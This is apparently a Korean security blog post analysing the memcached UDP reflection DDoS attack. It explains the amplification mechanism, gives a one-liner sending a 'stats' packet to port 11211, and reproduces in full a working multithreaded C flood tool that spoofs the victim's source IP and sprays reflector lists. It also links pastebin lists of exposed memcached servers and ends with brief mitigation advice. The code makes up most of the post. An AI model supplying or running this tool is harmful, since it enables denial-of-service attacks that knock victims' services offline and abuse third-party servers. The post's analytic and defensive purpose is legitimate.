[HACKING] Memcached reflection DOS attack 분석

요즘 memcached 서버 DOS 취약점으로 잠깐 시끌벅적했습니다. 어제 새벽 pastebin에 C기반 PoC 코드랑 shodan에서 조회한 서버 내역이 올라왔는데요. 오늘은 그 내용 가지고 글 좀 써볼까 합니다.

DΛNIΞL이 twit 올린거 보고 훑어봤는데, 부담가지 않는 내용인 것 같네요.

Memcached는 범용 분산 메모리 캐싱 시스템입니다. 일반적으로 DB의 부하를 줄이고 동적 웹 어플리케이션의 속도 향상을 위해 사용되죠. 오픈소스 소프트웨어이며 Data나 Object를 RAM에 캐싱하는 방식으로 많이 사용됩니다. (라고 작년초에 포스팅했었네요)

아래 링크 참고해주세요 (절대 쓰기 귀찮아서 그런거 아님) http://www.hahwul.com/2017/02/debian-intro-memcahed-and-accessing.html

Memcached reflection DOS attack

원래 memcached는 메모리 캐싱을 위한 시스템이라 원격 연결이 필요 없을 것 같지만(제 생각, 아닐지도.. 필요하니깐 만들었으려나) 11211 포트를 통해 TCP/UDP 통신을 지원합니다. (아마 원격 디버깅 때문인가..)

아무튼 11211 포트는 여러가지 명령들을 통해 memcached 내 데이터를 가져오거나 할 수 있습니다. 이 과정을 역이용하여 다른 서버로 큰 요청(얻어낸 데이터들을 통째로)을 전송하게 됩니다.

예를들면 memcached 서버로 stats 명령을 날리게되면 메모리 데이터, 키 관련 데이터들을 뿜어내게 됩니다. 이 과정에서 공격자가 자신의 IP를 피해자의 서버로 변조한 후 요청을 발생시키면 memcached 서버는 피해자 서버로 메모리 데이터를 전송하게 됩니다.

이러한 방식을 통해 이론적으로 일반적인 요청의 5만배까지 끌어올릴 수 있다고 하네요.

이번 memcached reflection attack에서도 stats, get 등을 이용해서 공격을 수행하게 됩니다. 초기에 올라왔던 PoC인데요. 잘보면 memcached 서버측(11211 포트)으로 stats 를 전송하는 단순한 코드입니다.

1
2
python -c "print '\0\x01\0\0\0\x01\0\0stats\r\n'" |nc -nvvu
192.168.56.105 11211 > /tmp/null

(아래는 memcached 11211 명령 / https://lzone.de/cheat-sheet/memcached )

Command Description Example
get Reads a value get mykey
set Set a key unconditionally set mykey 0 60 5# Meaning:0 = > no flags60 => TTL in [s]5 => size in byteEnsure to use \r\n als line breaks when usingUnix CLI tools. For example```printf “set mykey 0 60 4\r\ndata\r\n”
add Add a new key add newkey 0 60 5
replace Overwrite existing key replace key 0 60 5
append Append data to existing key append key 0 60 15
prepend Prepend data to existing key prepend key 0 60 15
incr Increments numerical key valueby given number incr mykey 2
decr Decrements numerical key valueby given number decr mykey 5
delete Deletes an existing key delete mykey
flush_all Invalidate specific items immediately flush_all
Invalidate all items in n seconds flush_all 900
stats Prints general statistics stats (style=undefined)
Prints memory statistics stats slabs (style=undefined)
Prints memory statistics stats malloc
Print higher level allocation statistics stats items (style=undefined)
stats detail
stats sizes
Dump keys is a slab class stats cachedump (style=undefined)
Resets statistics stats reset
version Prints server version. version
verbosity Increases log level verbosity
quit Terminate telnet session quit

PoC code 분석

위에서 봤던 핵심 부분은 setup_udp_header 함수입니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
void setup_udp_header(struct udphdr *udph)
{
udph->source = htons(5678);
udph->dest = htons(11211);
udph->check = 0;
memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n", 15);
// 바로 이곳입니다. 위에서 봤던 python 코드랑 똑같죠
//
udph->len=htons(sizeof(struct udphdr) + 15);
}

stats 명령으로 캐시 데이터를 한번에 얻어오죠. 나머지 부분은 주말에 작성하도록 할게요 (피곤..)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
struct list
{
struct sockaddr_in data;
struct list *next;
struct list *prev;
};
struct list *head;
volatile int tehport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
void init_rand(uint32_t x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++)
{
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
}
uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int nwords)
{
unsigned long sum = 0;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 15;
iph->id = htonl(54321);
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = inet_addr("192.168.3.100");
}
void setup_udp_header(struct udphdr *udph)
{
udph->source = htons(5678);
udph->dest = htons(11211);
udph->check = 0;
memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n", 15);
// 바로 이곳입니다. 위에서 봤던 python 코드랑 똑같죠
//
udph->len=htons(sizeof(struct udphdr) + 15);
}
void *flood(void *par1)
{
struct thread_data *td = (struct thread_data *)par1;
char datagram[MAX_PACKET_SIZE];
struct iphdr *iph = (struct iphdr *)datagram;
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
struct sockaddr_in sin = td->sin;
struct  list *list_node = td->list_node;
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s < 0){
fprintf(stderr, "Could not open raw socket.\n");
exit(-1);
}
init_rand(time(NULL));
memset(datagram, 0, MAX_PACKET_SIZE);
setup_ip_header(iph);
setup_udp_header(udph);
udph->source = htons(rand() % 65535 - 1026);
iph->saddr = sin.sin_addr.s_addr;
iph->daddr = list_node->data.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
int tmp = 1;
const int *val = &tmp;
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
exit(-1);
}
init_rand(time(NULL));
register unsigned int i;
i = 0;
while(1){
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
list_node = list_node->next;
iph->daddr = list_node->data.sin_addr.s_addr;
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

pps++;
if(i >= limiter)
{
i = 0;
usleep(sleeptime);
}
i++;
}
}
int main(int argc, char *argv[ ])
{
if(argc < 6){
fprintf(stderr, "Invalid parameters!\n");
fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
exit(-1);
}
srand(time(NULL));
int i = 0;
head = NULL;
fprintf(stdout, "Setting up sockets...\n");
int max_len = 128;
char *buffer = (char *) malloc(max_len);
buffer = memset(buffer, 0x00, max_len);
int num_threads = atoi(argv[4]);
int maxpps = atoi(argv[5]);
limiter = 0;
pps = 0;
int multiplier = 20;
FILE *list_fd = fopen(argv[3],  "r");
while (fgets(buffer, max_len, list_fd) != NULL) {
if ((buffer[strlen(buffer) - 1] == '\n') ||
(buffer[strlen(buffer) - 1] == '\r')) {
buffer[strlen(buffer) - 1] = 0x00;
if(head == NULL)
{
head = (struct list *)malloc(sizeof(struct list));
bzero(&head->data, sizeof(head->data));
head->data.sin_addr.s_addr=inet_addr(buffer);
head->next = head;
head->prev = head;
} else {
struct list *new_node = (struct list *)malloc(sizeof(struct list));
memset(new_node, 0x00, sizeof(struct list));
new_node->data.sin_addr.s_addr=inet_addr(buffer);
new_node->prev = head;
new_node->next = head->next;
head->next = new_node;
}
i++;
} else {
continue;
}
}
struct list *current = head->next;
pthread_t thread[num_threads];
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
struct thread_data td[num_threads];
for(i = 0;i<num_threads;i++){
td[i].thread_id = i;
td[i].sin= sin;
td[i].list_node = current;
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
}
fprintf(stdout, "Starting flood...\n");
for(i = 0;i<(atoi(argv[6])*multiplier);i++)
{
usleep((1000/multiplier)*1000);
if((pps*multiplier) > maxpps)
{
if(1 > limiter)
{
sleeptime+=100;
} else {
limiter--;
}
} else {
limiter++;
if(sleeptime > 25)
{
sleeptime-=25;
} else {
sleeptime = 0;
}
}
pps = 0;
}
return 0;
}

이외에도 언어별로 PoC 가 많이 올라온 상태입니다.

Conclusion

memcached 서버측에선 memcached 서버를 인터넷망에 연결시키지 않고 기본포트 변경 처리 (11211 -> ?????) 하는것으로 어느정도 대응되지 않을까 싶습니다.

DOS 대응(이 부분은 제 분야는 아니라 확실치는 않습니다만.. )으론 kill switch 라고 올라오는 내용들이 있는데, 충분히 일리있는 부분이여서 어떨까 싶습니다.

트래픽을 발생시키는 memcacehd 서버측으로 캐시를 날려주는 명령을 던져서 리턴되는 데이터의 양을 줄이는 방법이죠.

http://www.boannews.com/media/view.asp?idx=67356&kind=1

마지막으로 pastebin에 memcached 사용중인 서버 리스트가 올라왔느데.. 무지 많네요. 저러니 DOS 트래픽 양이..

https://pastebin.com/raw/ZiUeinae https://pastebin.com/raw/eSCHTTVu https://twitter.com/hypoweb/status/971326135975006209 https://thehackernews.com/2018/02/memcached-amplification-ddos.html http://powerofcommunity.net/poc2017/shengbao.pdf https://lzone.de/cheat-sheet/memcached http://www.hahwul.com/2017/02/debian-intro-memcahed-and-accessing.html

Licensed under CC BY-NC-SA 4.0
Last updated on Jul 10, 2021 01:05 +0900